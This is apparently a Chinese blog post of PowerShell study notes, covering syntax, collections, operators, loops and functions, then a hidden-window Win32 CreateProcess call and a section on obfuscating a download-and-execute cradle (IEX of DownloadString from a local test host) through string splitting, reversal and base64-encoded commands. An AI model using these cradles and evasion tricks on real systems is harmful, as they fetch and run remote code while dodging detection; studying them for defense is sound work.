0%

Powershell基础学习

Powershell基础

0x00 执行策略& 版本信息

1
2
3
4
5
6
7
Get-ExecutionPolicy
Set-ExecutionPolicy

Restricted:脚本不能运行
RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned:仅当前脚本受信任的发布者签名时才能运行。
Unrestricted:允许所有脚本运行
  • 1.0 - windows server 2008
  • 2.0 - windows server 2008 r2、windows 7
  • 3.0 - windows server 2012、windows 8
  • 4.0 - windows server 2012 r2、windows 8.1
  • 5.0 - windows 10
  • 5.1 - windows server 2016


0x01 基本语法

  • 对缩进不敏感
  • 不强制分号
  • 保留字、命令大小写区分
  • 以{}作为代码块

0x02.变量

1
2
3
4
5
6
7
8
9
10
11
12
13
$a = 1
# 全局变量
$global:a = 1
# 脚本变量
$script:a = 1

# 输出变量a
Write-host $a
echo $a
# 删除变量
clear-variable
# 查看a的类型
$a.GetType()

0x03 对象集合

数组
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 创建和初始化数组
$arr = 1,2,3,4,5
$arr2 = 1..5

$arr[0]
$arr2[2..5]

# 数组大小
$arr.Length

#数组操作
$arr[2] = 8
# 将元素添加到$arr中
$arr += 6

# 初始化一个空数组
$arr = @()

# 从数组中删除元素
$arr = 1..5
$arr = ($arr[1], $arr[2], $arr[3])


字典
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$dict = @{<key1> = <value1> ; < key2> = <value2> ; ..... ; < keyN> = <valueN>;}}

$dict = @{a = 1; a2 = 2 ;}
$dict

# Name Value
# ---- -----
# a 1
# a2 2

$dict.Keys
# a
# a2

$dict.values
# 1
# 2

# 显示哈希表的键/值对总数
$dict.count

$dict.
$dict.Add("")
$dict.Remove('')


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$hash = @{ ID = 1; Shape = "Square"; Color = "Blue"}
write-host("Print all hashtable keys")
$hash.keys
write-host("Print all hashtable values")
$hash.values
write-host("Get ID")
$hash["ID"]
write-host("Get Shape")
$hash.Number
write-host("print Size")
$hash.Count
write-host("Add key-value")
$hash["Updated"] = "Now"
write-host("Add key-value")
$hash.Add("Created","Now")
write-host("print Size")
$hash.Count
write-host("Remove key-value")
$hash.Remove("Updated")
write-host("print Size")
$hash.Count
write-host("sort by key")
$hash.GetEnumerator() | Sort-Object -Property key

-----------------
Print all hashtable keys
Color
Shape
ID
Print all hashtable values
Blue
Square
1
Get ID
1
Get Shape
print Size
3
Add key-value
Add key-value
print Size
5
Remove key-value
print Size
4
sort by key
Name Value
---- -----
Color Blue
Created Now
ID 1
Shape Square


0x04 运算符

比较运算符
  • -eq 等于
  • -ne 不等于
  • -gt 大于
  • -ge 大于等于
  • -lt 小于
  • -le 小于等于
匹配运算符
  • -like
  • -notlike
  • -match
  • -notmatch
包含运算符
  • -contains
  • -nocontains
  • -match
  • -notmatch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$a = "abc"
$b = "a*"
$c = "a??"
$a -like $b
# True
$a -like $c
# True
----------------------
----------------------
$a = 1,2,3,4,5
$b = 1
$a -contains $b
# True
$b -contains $a
# False

0x05 控制流程

选择
  • if else
1
2
3
4
5
6
7
8
9
10
11
12
13
$a = 1
$b = 2
if($a -eq $b){
write-host "aaa"
}
elseif($a -gt $b){
write-host "bbb"
}
else{
write-host "ccc"
}

# ccc
  • switch
1
2
3
4
5
6
7
8
9
10
11
12
13
$day=5
switch($day)
{
1{echo "今天是星期一"}
2{echo "今天是星期二"}
3{echo "今天是星期三"}
4{echo "今天是星期四"}
5{echo "今天是星期五"}
6{echo "今天是星期六"}
7{echo "今天是星期日"}
default{echo "请输入1-7"}
}
# 今天是星期五


循环
  • for
1
2
3
for($i=1; $i -lt 10; $i=$i+1){
echo $i
}
  • foreach
1
2
3
4
$a = 1,2,3,4,5
foreach($i in $a){
echo $i
}
  • while
1
2
3
4
5
$i = 1
while($i -le 5){
echo $i
$i +=1
}
  • do while
1
2
3
4
5
$i = 1
do {
echo $i
$i +=1
}while($i -le 5)
  • continue
1
2
3
4
5
6
7
8
9
$i=1 
while($i -le 5){
if($i -eq 3){
$i +=1
continue
}
echo $i
$i +=1
}
  • break
1
2
3
4
5
6
7
for($i=1; $i -lt 5; $a+=1){
if($i -eq 3){
break
}
echo $i
$i +=1
}

0x06 函数

1
2
3
4
5
6
function func([int]$x){
$res = $x * $x
return $res
}
$result = func(2)
echo $result

0x07 Win32API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# 创建一个线程启动calc 

Add-Type -TypeDefinition @" #声明
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
public static class Kernel32
{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
}
"@

# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
# Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# SECURITY_ATTRIBUTES Struct (Process &amp; Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
# CreateProcess In CurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null


# 感觉用起来比较麻烦,需要先去声明结构体啥的 再去调用


0x08 文件下载

invoke-webrequest -Uri $url -OutFile $output

1
2
3
$url = "http://www.baidu.com"
$output = "F:\1.html"
invoke-webrequest -Uri $url -OutFile $output

(New-Object System.Net.WebClient).DownloadFile($url,$output)

1
2
3
$url = "http://www.baidu.com"
$output = "F:\2.html"
(New-Object System.Net.WebClient).DownloadFile($url,$output)


0x09 文件操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 新建目录test
New-Item test -ItemType directory
# 删除目录test
Remove-Item test
# 新建文件test.txt
New-Item test.txt -ItemType file
# 新建文件test.txt,内容为 test
New-Item test.txt -ItemType file -value "test"
# 删除文件test.txt
Remove-Item test.txt
# 查看文件test.txt内容
Get-Content test.txt
# 设置文件test.txt内容t
Set-Content test.txt -Value "test"
# 给文件test.txt追加内容
Add-Content test.txt -Value ",test2"
# 清除文件test.txt内容
Clear-Content test.txt


0x0a 简单混淆

Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1:8000/1.txt")


  • 1.去掉System关键词
1
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://127.0.0.1:8000/1.txt")
  • 2.使用字符串连接+号连接
1
Invoke-Expression (New-Object Net.WebClient).DownloadString('h'+'ttp://127.0.0.1:8000/1.txt')
  • 3.使用Invoke方法
1
Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://127.0.0.1:8000/1.txt')
  • 4.变量替代
1
2
$ds="Down"+"loadString";
Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://127.0.0.1:8000/1.txt')
  • 5.关键词使用单双引号引起来
1
Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://127.0.0.1/powershell')
  • 6.转义符号
1
Invoke-Expression (New-Object Net.WebClient)."D o wn l oad Str in g"('h'+'ttp://127.0.0.1:8000/1.txt')
  • 7.字符串反转
1
2
$re= ")'txt.1/0008:1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
($re[-1..-($re.Length)] -Join '') | IEX
  • 8.编码执行
1
2
3
4
$command = "Invoke-Expression (New-Object Net.WebClient).DownloadString('h'+'ttp://127.0.0.1:8000/1.txt')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
混淆工具

Invoke-Obfuscation

https://github.com/danielbohannon/Invoke-Obfuscation

Revoke-Obfuscation


References

1
2
3
4
5
6
7
https://gsh3ll.top/2021/12/18/%E3%80%90%E5%86%85%E7%BD%91%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0%E3%80%91PowerShell%E5%9F%BA%E7%A1%80/
https://cloud.tencent.com/developer/article/1639161
https://www.secrss.com/articles/20119
https://www.cnblogs.com/linuxsec/articles/7384582.html



欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------